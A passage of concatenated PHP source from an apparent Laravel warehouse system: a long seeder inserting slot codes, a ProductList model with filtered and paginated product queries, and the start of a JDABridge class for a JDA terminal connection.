"slot_code"=>"1BOE11"
));
SlotList::create(array(
"slot_code"=>"1BOE12"
));
SlotList::create(array(
"slot_code"=>"1BOE21"
));
SlotList::create(array(
"slot_code"=>"1BOE22"
));
SlotList::create(array(
"slot_code"=>"1BOE31"
));
SlotList::create(array(
"slot_code"=>"1BOE32"
));
SlotList::create(array(
"slot_code"=>"1BOF11"
));
SlotList::create(array(
"slot_code"=>"1BOF12"
));
SlotList::create(array(
"slot_code"=>"1BOF21"
));
SlotList::create(array(
"slot_code"=>"1BOF22"
));
SlotList::create(array(
"slot_code"=>"1BOF31"
));
SlotList::create(array(
"slot_code"=>"1BOF32"
));
SlotList::create(array(
"slot_code"=>"1COA11"
));
SlotList::create(array(
"slot_code"=>"1COA12"
));
SlotList::create(array(
"slot_code"=>"1COA21"
));
SlotList::create(array(
"slot_code"=>"1COA22"
));
SlotList::create(array(
"slot_code"=>"1COA31"
));
SlotList::create(array(
"slot_code"=>"1COA32"
));
SlotList::create(array(
"slot_code"=>"1COB11"
));
SlotList::create(array(
"slot_code"=>"1COB12"
));
SlotList::create(array(
"slot_code"=>"1COB21"
));
SlotList::create(array(
"slot_code"=>"1COB22"
));
SlotList::create(array(
"slot_code"=>"1COB31"
));
SlotList::create(array(
"slot_code"=>"1COB32"
));
SlotList::create(array(
"slot_code"=>"1COC11"
));
SlotList::create(array(
"slot_code"=>"1COC12"
));
SlotList::create(array(
"slot_code"=>"1COC21"
));
SlotList::create(array(
"slot_code"=>"1COC22"
));
SlotList::create(array(
"slot_code"=>"1COC31"
));
SlotList::create(array(
"slot_code"=>"1COC32"
));
SlotList::create(array(
"slot_code"=>"1COD11"
));
SlotList::create(array(
"slot_code"=>"1COD12"
));
SlotList::create(array(
"slot_code"=>"1COD21"
));
SlotList::create(array(
"slot_code"=>"1COD22"
));
SlotList::create(array(
"slot_code"=>"1COD31"
));
SlotList::create(array(
"slot_code"=>"1COD32"
));
SlotList::create(array(
"slot_code"=>"1COE11"
));
SlotList::create(array(
"slot_code"=>"1COE12"
));
SlotList::create(array(
"slot_code"=>"1COE21"
));
SlotList::create(array(
"slot_code"=>"1COE22"
));
SlotList::create(array(
"slot_code"=>"1COE31"
));
SlotList::create(array(
"slot_code"=>"1COE32"
));
SlotList::create(array(
"slot_code"=>"1COF11"
));
SlotList::create(array(
"slot_code"=>"1COF12"
));
SlotList::create(array(
"slot_code"=>"1COF21"
));
SlotList::create(array(
"slot_code"=>"1COF22"
));
SlotList::create(array(
"slot_code"=>"1COF31"
));
SlotList::create(array(
"slot_code"=>"1COF32"
));
SlotList::create(array(
"slot_code"=>"1DOA11"
));
SlotList::create(array(
"slot_code"=>"1DOA12"
));
SlotList::create(array(
"slot_code"=>"1DOA21"
));
SlotList::create(array(
"slot_code"=>"1DOA22"
));
SlotList::create(array(
"slot_code"=>"1DOA31"
));
SlotList::create(array(
"slot_code"=>"1DOA32"
));
SlotList::create(array(
"slot_code"=>"1DOB11"
));
SlotList::create(array(
"slot_code"=>"1DOB12"
));
SlotList::create(array(
"slot_code"=>"1DOB21"
));
SlotList::create(array(
"slot_code"=>"1DOB22"
));
SlotList::create(array(
"slot_code"=>"1DOB31"
));
SlotList::create(array(
"slot_code"=>"1DOB32"
));
SlotList::create(array(
"slot_code"=>"1DOC11"
));
SlotList::create(array(
"slot_code"=>"1DOC12"
));
SlotList::create(array(
"slot_code"=>"1DOC21"
));
SlotList::create(array(
"slot_code"=>"1DOC22"
));
SlotList::create(array(
"slot_code"=>"1DOC31"
));
SlotList::create(array(
"slot_code"=>"1DOC32"
));
SlotList::create(array(
"slot_code"=>"1DOD11"
));
SlotList::create(array(
"slot_code"=>"1DOD12"
));
SlotList::create(array(
"slot_code"=>"1DOD21"
));
SlotList::create(array(
"slot_code"=>"1DOD22"
));
SlotList::create(array(
"slot_code"=>"1DOD31"
));
SlotList::create(array(
"slot_code"=>"1DOD32"
));
SlotList::create(array(
"slot_code"=>"1DOE11"
));
SlotList::create(array(
"slot_code"=>"1DOE12"
));
SlotList::create(array(
"slot_code"=>"1DOE22"
));
SlotList::create(array(
"slot_code"=>"1DOE21"
));
SlotList::create(array(
"slot_code"=>"1DOE31"
));
SlotList::create(array(
"slot_code"=>"1DOE32"
));
SlotList::create(array(
"slot_code"=>"1DOF11"
));
SlotList::create(array(
"slot_code"=>"1DOF12"
));
SlotList::create(array(
"slot_code"=>"1DOF21"
));
SlotList::create(array(
"slot_code"=>"1DOF22"
));
SlotList::create(array(
"slot_code"=>"1DOF31"
));
SlotList::create(array(
"slot_code"=>"1DOF32"
));
SlotList::create(array(
"slot_code"=>"1EOA11"
));
SlotList::create(array(
"slot_code"=>"1EOA12"
));
SlotList::create(array(
"slot_code"=>"1EOA21"
));
SlotList::create(array(
"slot_code"=>"1EOA22"
));
SlotList::create(array(
"slot_code"=>"1EOA31"
));
SlotList::create(array(
"slot_code"=>"1EOA32"
));
SlotList::create(array(
"slot_code"=>"1EOB11"
));
SlotList::create(array(
"slot_code"=>"1EOB12"
));
SlotList::create(array(
"slot_code"=>"1EOB21"
));
SlotList::create(array(
"slot_code"=>"1EOB22"
));
SlotList::create(array(
"slot_code"=>"1EOB31"
));
SlotList::create(array(
"slot_code"=>"1EOB32"
));
SlotList::create(array(
"slot_code"=>"1EOC11"
));
SlotList::create(array(
"slot_code"=>"1EOC12"
));
SlotList::create(array(
"slot_code"=>"1EOC21"
));
SlotList::create(array(
"slot_code"=>"1EOC22"
));
SlotList::create(array(
"slot_code"=>"1EOC31"
));
SlotList::create(array(
"slot_code"=>"1EOC32"
));
SlotList::create(array(
"slot_code"=>"1EOD11"
));
SlotList::create(array(
"slot_code"=>"1EOD12"
));
SlotList::create(array(
"slot_code"=>"1EOD21"
));
SlotList::create(array(
"slot_code"=>"1EOD22"
));
SlotList::create(array(
"slot_code"=>"1EOD31"
));
SlotList::create(array(
"slot_code"=>"1EOD32"
));
SlotList::create(array(
"slot_code"=>"1EOE11"
));
SlotList::create(array(
"slot_code"=>"1EOE12"
));
SlotList::create(array(
"slot_code"=>"1EOE21"
));
SlotList::create(array(
"slot_code"=>"1EOE22"
));
SlotList::create(array(
"slot_code"=>"1EOE31"
));
SlotList::create(array(
"slot_code"=>"1EOE32"
));
SlotList::create(array(
"slot_code"=>"1EOF11"
));
SlotList::create(array(
"slot_code"=>"1EOF12"
));
SlotList::create(array(
"slot_code"=>"1EOF21"
));
SlotList::create(array(
"slot_code"=>"1EOF31"
));
SlotList::create(array(
"slot_code"=>"1EOF32"
));
SlotList::create(array(
"slot_code"=>"2AOA11"
));
SlotList::create(array(
"slot_code"=>"2AOA12"
));
SlotList::create(array(
"slot_code"=>"2AOA21"
));
SlotList::create(array(
"slot_code"=>"2AOA22"
));
SlotList::create(array(
"slot_code"=>"2AOA31"
));
SlotList::create(array(
"slot_code"=>"2AOA32"
));
SlotList::create(array(
"slot_code"=>"2AOA41"
));
SlotList::create(array(
"slot_code"=>"2AOA42"
));
SlotList::create(array(
"slot_code"=>"2AOB11"
));
SlotList::create(array(
"slot_code"=>"2AOB12"
));
SlotList::create(array(
"slot_code"=>"2AOB21"
));
SlotList::create(array(
"slot_code"=>"2AOB22"
));
SlotList::create(array(
"slot_code"=>"2AOB31"
));
SlotList::create(array(
"slot_code"=>"2AOB32"
));
SlotList::create(array(
"slot_code"=>"2AOB41"
));
SlotList::create(array(
"slot_code"=>"2AOB42"
));
SlotList::create(array(
"slot_code"=>"2AOC11"
));
SlotList::create(array(
"slot_code"=>"2AOC12"
));
SlotList::create(array(
"slot_code"=>"2AOC21"
));
SlotList::create(array(
"slot_code"=>"2AOC22"
));
SlotList::create(array(
"slot_code"=>"2AOC31"
));
SlotList::create(array(
"slot_code"=>"2AOC32"
));
SlotList::create(array(
"slot_code"=>"2AOC41"
));
SlotList::create(array(
"slot_code"=>"2AOC42"
));
SlotList::create(array(
"slot_code"=>"2BOA11"
));
SlotList::create(array(
"slot_code"=>"2BOA12"
));
SlotList::create(array(
"slot_code"=>"2BOA21"
));
SlotList::create(array(
"slot_code"=>"2BOA22"
));
SlotList::create(array(
"slot_code"=>"2BOA31"
));
SlotList::create(array(
"slot_code"=>"2BOA32"
));
SlotList::create(array(
"slot_code"=>"2BOA41"
));
SlotList::create(array(
"slot_code"=>"2BOA42"
));
SlotList::create(array(
"slot_code"=>"2BOB11"
));
SlotList::create(array(
"slot_code"=>"2BOB12"
));
SlotList::create(array(
"slot_code"=>"2BOB22"
));
SlotList::create(array(
"slot_code"=>"2BOB31"
));
SlotList::create(array(
"slot_code"=>"2BOB32"
));
SlotList::create(array(
"slot_code"=>"2BOB41"
));
SlotList::create(array(
"slot_code"=>"2BOB42"
));
SlotList::create(array(
"slot_code"=>"2BOC11"
));
SlotList::create(array(
"slot_code"=>"2BOC12"
));
SlotList::create(array(
"slot_code"=>"2BOC21"
));
SlotList::create(array(
"slot_code"=>"2BOC22"
));
SlotList::create(array(
"slot_code"=>"2BOC31"
));
SlotList::create(array(
"slot_code"=>"2BOC32"
));
SlotList::create(array(
"slot_code"=>"2BOC41"
));
SlotList::create(array(
"slot_code"=>"2BOC42"
));
SlotList::create(array(
"slot_code"=>"2BOD11"
));
SlotList::create(array(
"slot_code"=>"2BOD12"
));
SlotList::create(array(
"slot_code"=>"2BOD21"
));
SlotList::create(array(
"slot_code"=>"2BOD22"
));
SlotList::create(array(
"slot_code"=>"2BOD31"
));
SlotList::create(array(
"slot_code"=>"2BOD32"
));
SlotList::create(array(
"slot_code"=>"2BOD41"
));
SlotList::create(array(
"slot_code"=>"2BOD42"
));
SlotList::create(array(
"slot_code"=>"2BOE11"
));
SlotList::create(array(
"slot_code"=>"2BOE12"
));
SlotList::create(array(
"slot_code"=>"2BOE21"
));
SlotList::create(array(
"slot_code"=>"2BOE22"
));
SlotList::create(array(
"slot_code"=>"2BOE31"
));
SlotList::create(array(
"slot_code"=>"2BOE32"
));
SlotList::create(array(
"slot_code"=>"2BOE41"
));
SlotList::create(array(
"slot_code"=>"2BOE42"
));
SlotList::create(array(
"slot_code"=>"2COA11"
));
SlotList::create(array(
"slot_code"=>"2COA12"
));
SlotList::create(array(
"slot_code"=>"2COA22"
));
SlotList::create(array(
"slot_code"=>"2COA21"
));
SlotList::create(array(
"slot_code"=>"2COA31"
));
SlotList::create(array(
"slot_code"=>"2COA32"
));
SlotList::create(array(
"slot_code"=>"2COA41"
));
SlotList::create(array(
"slot_code"=>"2COA42"
));
SlotList::create(array(
"slot_code"=>"2COB11"
));
SlotList::create(array(
"slot_code"=>"2COB12"
));
SlotList::create(array(
"slot_code"=>"2COB21"
));
SlotList::create(array(
"slot_code"=>"2COB22"
));
SlotList::create(array(
"slot_code"=>"2COB31"
));
SlotList::create(array(
"slot_code"=>"2COB32"
));
SlotList::create(array(
"slot_code"=>"2COB41"
));
SlotList::create(array(
"slot_code"=>"2COB42"
));
SlotList::create(array(
"slot_code"=>"2COC11"
));
SlotList::create(array(
"slot_code"=>"2COC12"
));
SlotList::create(array(
"slot_code"=>"2COC21"
));
SlotList::create(array(
"slot_code"=>"2COC22"
));
SlotList::create(array(
"slot_code"=>"2COC31"
));
SlotList::create(array(
"slot_code"=>"2COC32"
));
SlotList::create(array(
"slot_code"=>"2COC41"
));
SlotList::create(array(
"slot_code"=>"2COC42"
));
SlotList::create(array(
"slot_code"=>"2DOD11"
));
SlotList::create(array(
"slot_code"=>"2DOD12"
));
SlotList::create(array(
"slot_code"=>"2DOD21"
));
SlotList::create(array(
"slot_code"=>"2DOD22"
));
SlotList::create(array(
"slot_code"=>"2DOD31"
));
SlotList::create(array(
"slot_code"=>"2DOD32"
));
SlotList::create(array(
"slot_code"=>"2DOD41"
));
SlotList::create(array(
"slot_code"=>"2DOD42"
));
SlotList::create(array(
"slot_code"=>"2COD11"
));
SlotList::create(array(
"slot_code"=>"2COD12"
));
SlotList::create(array(
"slot_code"=>"2COD21"
));
SlotList::create(array(
"slot_code"=>"2COD22"
));
SlotList::create(array(
"slot_code"=>"2COD31"
));
SlotList::create(array(
"slot_code"=>"2COD32"
));
SlotList::create(array(
"slot_code"=>"2COD41"
));
SlotList::create(array(
"slot_code"=>"2COD42"
));
SlotList::create(array(
"slot_code"=>"2COE11"
));
SlotList::create(array(
"slot_code"=>"2COE12"
));
SlotList::create(array(
"slot_code"=>"2COE21"
));
SlotList::create(array(
"slot_code"=>"2COE22"
));
SlotList::create(array(
"slot_code"=>"2COE31"
));
SlotList::create(array(
"slot_code"=>"2COE32"
));
SlotList::create(array(
"slot_code"=>"2COE41"
));
SlotList::create(array(
"slot_code"=>"2COE42"
));
SlotList::create(array(
"slot_code"=>"2DOA11"
));
SlotList::create(array(
"slot_code"=>"2DOA12"
));
SlotList::create(array(
"slot_code"=>"2DOA21"
));
SlotList::create(array(
"slot_code"=>"2DOA22"
));
SlotList::create(array(
"slot_code"=>"2DOA31"
));
SlotList::create(array(
"slot_code"=>"2DOA32"
));
SlotList::create(array(
"slot_code"=>"2DOA41"
));
SlotList::create(array(
"slot_code"=>"2DOA42"
));
SlotList::create(array(
"slot_code"=>"2DOB11"
));
SlotList::create(array(
"slot_code"=>"2DOB12"
));
SlotList::create(array(
"slot_code"=>"2DOB21"
));
SlotList::create(array(
"slot_code"=>"2DOB22"
));
SlotList::create(array(
"slot_code"=>"2DOB31"
));
SlotList::create(array(
"slot_code"=>"2DOB32"
));
SlotList::create(array(
"slot_code"=>"2DOB41"
));
SlotList::create(array(
"slot_code"=>"2DOB42"
));
SlotList::create(array(
"slot_code"=>"2DOC11"
));
SlotList::create(array(
"slot_code"=>"2DOC12"
));
SlotList::create(array(
"slot_code"=>"2DOC21"
));
SlotList::create(array(
"slot_code"=>"2DOC22"
));
SlotList::create(array(
"slot_code"=>"2DOC31"
));
SlotList::create(array(
"slot_code"=>"2DOC32"
));
SlotList::create(array(
"slot_code"=>"2DOC41"
));
SlotList::create(array(
"slot_code"=>"2DOC42"
));
SlotList::create(array(
"slot_code"=>"2DOE11"
));
SlotList::create(array(
"slot_code"=>"2DOE12"
));
SlotList::create(array(
"slot_code"=>"2DOE21"
));
SlotList::create(array(
"slot_code"=>"2DOE22"
));
SlotList::create(array(
"slot_code"=>"2DOE31"
));
SlotList::create(array(
"slot_code"=>"2DOE32"
));
SlotList::create(array(
"slot_code"=>"2DOE41"
));
SlotList::create(array(
"slot_code"=>"2DOE42"
));
SlotList::create(array(
"slot_code"=>"2EOA11"
));
SlotList::create(array(
"slot_code"=>"2EOA12"
));
SlotList::create(array(
"slot_code"=>"2EOA21"
));
SlotList::create(array(
"slot_code"=>"2EOA31"
));
SlotList::create(array(
"slot_code"=>"2EOA32"
));
SlotList::create(array(
"slot_code"=>"2EOA41"
));
SlotList::create(array(
"slot_code"=>"2EOA42"
));
SlotList::create(array(
"slot_code"=>"2EOB11"
));
SlotList::create(array(
"slot_code"=>"2EOB12"
));
SlotList::create(array(
"slot_code"=>"2EOB21"
));
SlotList::create(array(
"slot_code"=>"2EOB22"
));
SlotList::create(array(
"slot_code"=>"2EOB31"
));
SlotList::create(array(
"slot_code"=>"2EOB32"
));
SlotList::create(array(
"slot_code"=>"2EOB41"
));
SlotList::create(array(
"slot_code"=>"2EOB42"
));
SlotList::create(array(
"slot_code"=>"2EOC11"
));
SlotList::create(array(
"slot_code"=>"2EOC12"
));
SlotList::create(array(
"slot_code"=>"2EOC21"
));
SlotList::create(array(
"slot_code"=>"2EOC22"
));
SlotList::create(array(
"slot_code"=>"2EOC31"
));
SlotList::create(array(
"slot_code"=>"2EOC32"
));
SlotList::create(array(
"slot_code"=>"2EOC41"
));
SlotList::create(array(
"slot_code"=>"2EOC42"
));
SlotList::create(array(
"slot_code"=>"2EOD11"
));
SlotList::create(array(
"slot_code"=>"2EOD12"
));
SlotList::create(array(
"slot_code"=>"2EOD21"
));
SlotList::create(array(
"slot_code"=>"2EOD22"
));
SlotList::create(array(
"slot_code"=>"2EOD31"
));
SlotList::create(array(
"slot_code"=>"2EOD32"
));
SlotList::create(array(
"slot_code"=>"2EOD41"
));
SlotList::create(array(
"slot_code"=>"2EOD42"
));
SlotList::create(array(
"slot_code"=>"2EOE11"
));
SlotList::create(array(
"slot_code"=>"2EOE12"
));
SlotList::create(array(
"slot_code"=>"2EOE21"
));
SlotList::create(array(
"slot_code"=>"2EOE22"
));
SlotList::create(array(
"slot_code"=>"2EOE31"
));
SlotList::create(array(
"slot_code"=>"2EOE32"
));
SlotList::create(array(
"slot_code"=>"2EOE41"
));
SlotList::create(array(
"slot_code"=>"2EOE42"
));
SlotList::create(array(
"slot_code"=>"2EOF11"
));
SlotList::create(array(
"slot_code"=>"2EOF12"
));
SlotList::create(array(
"slot_code"=>"2EOF21"
));
SlotList::create(array(
"slot_code"=>"2EOF22"
));
SlotList::create(array(
"slot_code"=>"2EOF31"
));
SlotList::create(array(
"slot_code"=>"2EOF32"
));
SlotList::create(array(
"slot_code"=>"2EOF41"
));
SlotList::create(array(
"slot_code"=>"2EOF42"
));
SlotList::create(array(
"slot_code"=>"3AOA11"
));
SlotList::create(array(
"slot_code"=>"3AOA12"
));
SlotList::create(array(
"slot_code"=>"3AOA21"
));
SlotList::create(array(
"slot_code"=>"3AOA22"
));
SlotList::create(array(
"slot_code"=>"3AOA31"
));
SlotList::create(array(
"slot_code"=>"3AOA32"
));
SlotList::create(array(
"slot_code"=>"3AOA41"
));
SlotList::create(array(
"slot_code"=>"3AOA42"
));
SlotList::create(array(
"slot_code"=>"3AOB11"
));
SlotList::create(array(
"slot_code"=>"3AOB12"
));
SlotList::create(array(
"slot_code"=>"3AOB21"
));
SlotList::create(array(
"slot_code"=>"3AOB22"
));
SlotList::create(array(
"slot_code"=>"3AOB31"
));
SlotList::create(array(
"slot_code"=>"3AOB32"
));
SlotList::create(array(
"slot_code"=>"3AOB41"
));
SlotList::create(array(
"slot_code"=>"3AOB42"
));
SlotList::create(array(
"slot_code"=>"3AOC11"
));
SlotList::create(array(
"slot_code"=>"3AOC12"
));
SlotList::create(array(
"slot_code"=>"3AOC21"
));
SlotList::create(array(
"slot_code"=>"3AOC22"
));
SlotList::create(array(
"slot_code"=>"3AOC31"
));
SlotList::create(array(
"slot_code"=>"3AOC32"
));
SlotList::create(array(
"slot_code"=>"3AOC41"
));
SlotList::create(array(
"slot_code"=>"3AOC42"
));
SlotList::create(array(
"slot_code"=>"3BOA11"
));
SlotList::create(array(
"slot_code"=>"3BOA12"
));
SlotList::create(array(
"slot_code"=>"3BOA21"
));
SlotList::create(array(
"slot_code"=>"3BOA22"
));
SlotList::create(array(
"slot_code"=>"3BOA31"
));
SlotList::create(array(
"slot_code"=>"3BOA32"
));
SlotList::create(array(
"slot_code"=>"3BOA41"
));
SlotList::create(array(
"slot_code"=>"3BOA42"
));
SlotList::create(array(
"slot_code"=>"3BOB11"
));
SlotList::create(array(
"slot_code"=>"3BOB12"
));
SlotList::create(array(
"slot_code"=>"3BOB21"
));
SlotList::create(array(
"slot_code"=>"3BOB31"
));
SlotList::create(array(
"slot_code"=>"3BOB32"
));
SlotList::create(array(
"slot_code"=>"3BOB41"
));
SlotList::create(array(
"slot_code"=>"3BOB42"
));
SlotList::create(array(
"slot_code"=>"3BOC11"
));
SlotList::create(array(
"slot_code"=>"3BOC12"
));
SlotList::create(array(
"slot_code"=>"3BOC21"
));
SlotList::create(array(
"slot_code"=>"3BOC22"
));
SlotList::create(array(
"slot_code"=>"3BOC31"
));
SlotList::create(array(
"slot_code"=>"3BOC32"
));
SlotList::create(array(
"slot_code"=>"3BOC41"
));
SlotList::create(array(
"slot_code"=>"3BOC42"
));
SlotList::create(array(
"slot_code"=>"3BOD11"
));
SlotList::create(array(
"slot_code"=>"3BOD12"
));
SlotList::create(array(
"slot_code"=>"3BOD21"
));
SlotList::create(array(
"slot_code"=>"3BOD22"
));
SlotList::create(array(
"slot_code"=>"3BOD31"
));
SlotList::create(array(
"slot_code"=>"3BOD32"
));
SlotList::create(array(
"slot_code"=>"3BOD41"
));
SlotList::create(array(
"slot_code"=>"3BOD42"
));
SlotList::create(array(
"slot_code"=>"3BOE11"
));
SlotList::create(array(
"slot_code"=>"3BOE12"
));
SlotList::create(array(
"slot_code"=>"3BOE21"
));
SlotList::create(array(
"slot_code"=>"3BOE22"
));
SlotList::create(array(
"slot_code"=>"3BOE31"
));
SlotList::create(array(
"slot_code"=>"3BOE32"
));
SlotList::create(array(
"slot_code"=>"3BOE41"
));
SlotList::create(array(
"slot_code"=>"3BOE42"
));
SlotList::create(array(
"slot_code"=>"3COA11"
));
SlotList::create(array(
"slot_code"=>"3COA12"
));
SlotList::create(array(
"slot_code"=>"3COA21"
));
SlotList::create(array(
"slot_code"=>"3COA22"
));
SlotList::create(array(
"slot_code"=>"3COA31"
));
SlotList::create(array(
"slot_code"=>"3COA32"
));
SlotList::create(array(
"slot_code"=>"3COA41"
));
SlotList::create(array(
"slot_code"=>"3COA42"
));
SlotList::create(array(
"slot_code"=>"3COB11"
));
SlotList::create(array(
"slot_code"=>"3COB12"
));
SlotList::create(array(
"slot_code"=>"3COB21"
));
SlotList::create(array(
"slot_code"=>"3COB22"
));
SlotList::create(array(
"slot_code"=>"3COB31"
));
SlotList::create(array(
"slot_code"=>"3COB32"
));
SlotList::create(array(
"slot_code"=>"3COB41"
));
SlotList::create(array(
"slot_code"=>"3COB42"
));
SlotList::create(array(
"slot_code"=>"3COC11"
));
SlotList::create(array(
"slot_code"=>"3COC12"
));
SlotList::create(array(
"slot_code"=>"3COC21"
));
SlotList::create(array(
"slot_code"=>"3COC22"
));
SlotList::create(array(
"slot_code"=>"3COC31"
));
SlotList::create(array(
"slot_code"=>"3COC32"
));
SlotList::create(array(
"slot_code"=>"3COC41"
));
SlotList::create(array(
"slot_code"=>"3COC42"
));
SlotList::create(array(
"slot_code"=>"3COD11"
));
SlotList::create(array(
"slot_code"=>"3COD12"
));
SlotList::create(array(
"slot_code"=>"3COD21"
));
SlotList::create(array(
"slot_code"=>"3COD22"
));
SlotList::create(array(
"slot_code"=>"3COD31"
));
SlotList::create(array(
"slot_code"=>"3COD32"
));
SlotList::create(array(
"slot_code"=>"3COD41"
));
SlotList::create(array(
"slot_code"=>"3COD42"
));
SlotList::create(array(
"slot_code"=>"3COE11"
));
SlotList::create(array(
"slot_code"=>"3COE12"
));
SlotList::create(array(
"slot_code"=>"3COE21"
));
SlotList::create(array(
"slot_code"=>"3COE22"
));
SlotList::create(array(
"slot_code"=>"3COE31"
));
SlotList::create(array(
"slot_code"=>"3COE32"
));
SlotList::create(array(
"slot_code"=>"3COE41"
));
SlotList::create(array(
"slot_code"=>"3COE42"
));
SlotList::create(array(
"slot_code"=>"3DOA11"
));
SlotList::create(array(
"slot_code"=>"3DOA12"
));
SlotList::create(array(
"slot_code"=>"3DOA31"
));
SlotList::create(array(
"slot_code"=>"3DOA41"
));
SlotList::create(array(
"slot_code"=>"3DOA42"
));
SlotList::create(array(
"slot_code"=>"3DOA21"
));
SlotList::create(array(
"slot_code"=>"3DOA22"
));
SlotList::create(array(
"slot_code"=>"3DOA32"
));
SlotList::create(array(
"slot_code"=>"3DOB11"
));
SlotList::create(array(
"slot_code"=>"3DOB12"
));
SlotList::create(array(
"slot_code"=>"3DOB21"
));
SlotList::create(array(
"slot_code"=>"3DOB22"
));
SlotList::create(array(
"slot_code"=>"3DOB31"
));
SlotList::create(array(
"slot_code"=>"3DOB32"
));
SlotList::create(array(
"slot_code"=>"3DOB41"
));
SlotList::create(array(
"slot_code"=>"3DOB42"
));
SlotList::create(array(
"slot_code"=>"3DOC11"
));
SlotList::create(array(
"slot_code"=>"3DOC12"
));
SlotList::create(array(
"slot_code"=>"3DOC21"
));
SlotList::create(array(
"slot_code"=>"3DOC22"
));
SlotList::create(array(
"slot_code"=>"3DOC31"
));
SlotList::create(array(
"slot_code"=>"3DOC32"
));
SlotList::create(array(
"slot_code"=>"3DOC41"
));
SlotList::create(array(
"slot_code"=>"3DOC42"
));
SlotList::create(array(
"slot_code"=>"3DOD11"
));
SlotList::create(array(
"slot_code"=>"3DOD12"
));
SlotList::create(array(
"slot_code"=>"3DOD21"
));
SlotList::create(array(
"slot_code"=>"3DOD22"
));
SlotList::create(array(
"slot_code"=>"3DOD31"
));
SlotList::create(array(
"slot_code"=>"3DOD32"
));
SlotList::create(array(
"slot_code"=>"3DOD41"
));
SlotList::create(array(
"slot_code"=>"3DOD42"
));
SlotList::create(array(
"slot_code"=>"3DOE11"
));
SlotList::create(array(
"slot_code"=>"3DOE12"
));
SlotList::create(array(
"slot_code"=>"3DOE21"
));
SlotList::create(array(
"slot_code"=>"3DOE22"
));
SlotList::create(array(
"slot_code"=>"3DOE31"
));
SlotList::create(array(
"slot_code"=>"3DOE32"
));
SlotList::create(array(
"slot_code"=>"3DOE41"
));
SlotList::create(array(
"slot_code"=>"3DOE42"
));
SlotList::create(array(
"slot_code"=>"3DOF11"
));
SlotList::create(array(
"slot_code"=>"3DOF12"
));
SlotList::create(array(
"slot_code"=>"3DOF21"
));
SlotList::create(array(
"slot_code"=>"3DOF22"
));
SlotList::create(array(
"slot_code"=>"3DOF31"
));
SlotList::create(array(
"slot_code"=>"3DOF32"
));
SlotList::create(array(
"slot_code"=>"3DOF41"
));
SlotList::create(array(
"slot_code"=>"3DOF42"
));
SlotList::create(array(
"slot_code"=>"1EOF22"
));
SlotList::create(array(
"slot_code"=>"2EOA22"
));
SlotList::create(array(
"slot_code"=>"3BOB22"
));
SlotList::create(array(
"slot_code"=>"2BOB21"
));
SlotList::create(array(
"slot_code"=>"RZ000001"
));
SlotList::create(array(
"slot_code"=>"PCK00001"
));
SlotList::create(array(
"slot_code"=>"SZ000001"
));
SlotList::create(array(
"slot_code"=>"LOST"
));
SlotList::create(array(
"slot_code"=>"NGM0001"
));
}
}<file_sep><?php
class ProductList extends Eloquent {
protected $table = 'product_lists';
public static function getProductLists($data = array()) {
$sql_1 = '(SELECT d1.description FROM wms_department d1 WHERE wms_product_lists.dept_code=d1.dept_code AND d1.sub_dept=0 AND d1.class=0 and d1.sub_class=0) AS dept_name';
$sql_2 = '(SELECT d2.description FROM wms_department d2 WHERE wms_product_lists.dept_code=d2.dept_code AND wms_product_lists.sub_dept=d2.sub_dept AND d2.class=0 and d2.sub_class=0) AS sub_dept_name';
$query = DB::table('product_lists')->select(DB::raw('convert(wms_product_lists.sku, decimal) as sku,convert(wms_product_lists.upc, decimal(20,0)) as upc,wms_product_lists.description,wms_product_lists.short_description,wms_product_lists.dept_code,wms_product_lists.sub_dept' ));
if( CommonHelper::hasValue($data['filter_prod_sku']) ) $query->where('sku', 'LIKE', '%'.$data['filter_prod_sku'].'%');
if( CommonHelper::hasValue($data['filter_prod_upc']) ) $query->where('upc', 'LIKE', '%'.$data['filter_prod_upc'].'%');
if( CommonHelper::hasValue($data['filter_prod_full_name']) ) $query->where('description', 'LIKE', '%'.$data['filter_prod_full_name'].'%');
if( CommonHelper::hasValue($data['filter_prod_short_name']) ) $query->where('short_description', 'LIKE', '%'.$data['filter_prod_short_name'].'%');
if( CommonHelper::hasValue($data['filter_dept_no']) ) $query->where('dept_code', 'LIKE', '%'.$data['filter_dept_no'].'%');
if( CommonHelper::hasValue($data['filter_sub_dept_no']) ) $query->where('sub_dept', 'LIKE', '%'.$data['filter_sub_dept_no'].'%');
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='full_name') $data['sort'] = 'description';
if ($data['sort']=='short_name') $data['sort'] = 'short_description';
if ($data['sort']=='dept') $data['sort'] = 'dept_code';
if ($data['sort']=='sub_dept') $data['sort'] = 'sub_dept';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
return $result;
}
public static function getCountProductLists($data = array()) {
$sql_1 = '(SELECT d1.description FROM wms_department d1 WHERE wms_product_lists.dept_code=d1.dept_code AND d1.sub_dept=0 AND d1.class=0 and d1.sub_class=0) AS dept_name';
$sql_2 = '(SELECT d2.description FROM wms_department d2 WHERE wms_product_lists.dept_code=d2.dept_code AND wms_product_lists.sub_dept=d2.sub_dept AND d2.class=0 and d2.sub_class=0) AS sub_dept_name';
$query = DB::table('product_lists')->select(DB::raw('wms_product_lists.*, ' . $sql_1 . ', ' . $sql_2));
if( CommonHelper::hasValue($data['filter_prod_sku']) ) $query->where('sku', 'LIKE', '%'.$data['filter_prod_sku'].'%');
if( CommonHelper::hasValue($data['filter_prod_upc']) ) $query->where('upc', 'LIKE', '%'.$data['filter_prod_upc'].'%');
if( CommonHelper::hasValue($data['filter_prod_full_name']) ) $query->where('description', 'LIKE', '%'.$data['filter_prod_full_name'].'%');
if( CommonHelper::hasValue($data['filter_prod_short_name']) ) $query->where('short_description', 'LIKE', '%'.$data['filter_prod_short_name'].'%');
if( CommonHelper::hasValue($data['filter_dept_no']) ) $query->where('dept_code', 'LIKE', '%'.$data['filter_dept_no'].'%');
if( CommonHelper::hasValue($data['filter_sub_dept_no']) ) $query->where('sub_dept', 'LIKE', '%'.$data['filter_sub_dept_no'].'%');
return $query->count();
}
public static function checkIfUpcExist($upc) {
$query = ProductList::where('upc', '=', $upc);
if( $query->first() ) return true;
else throw new Exception( 'Upc does not exist.');
}
public static function getSkuNo($upc) {
$query = ProductList::select('sku')->where('upc', '=', $upc);
if( $query->first() ) return $query->first()->sku;
else throw new Exception( 'Upc does not exist.');
}
}<file_sep><?php //namespace App\Classes\JDABridge;
include_once('jdatelnet.php');
class JDABridge {
public $jda_username;
public $jda_password;
public $jda; //represents the native jda green screen
public $show_debug;
public $last_error_reason;
public $library;
/**
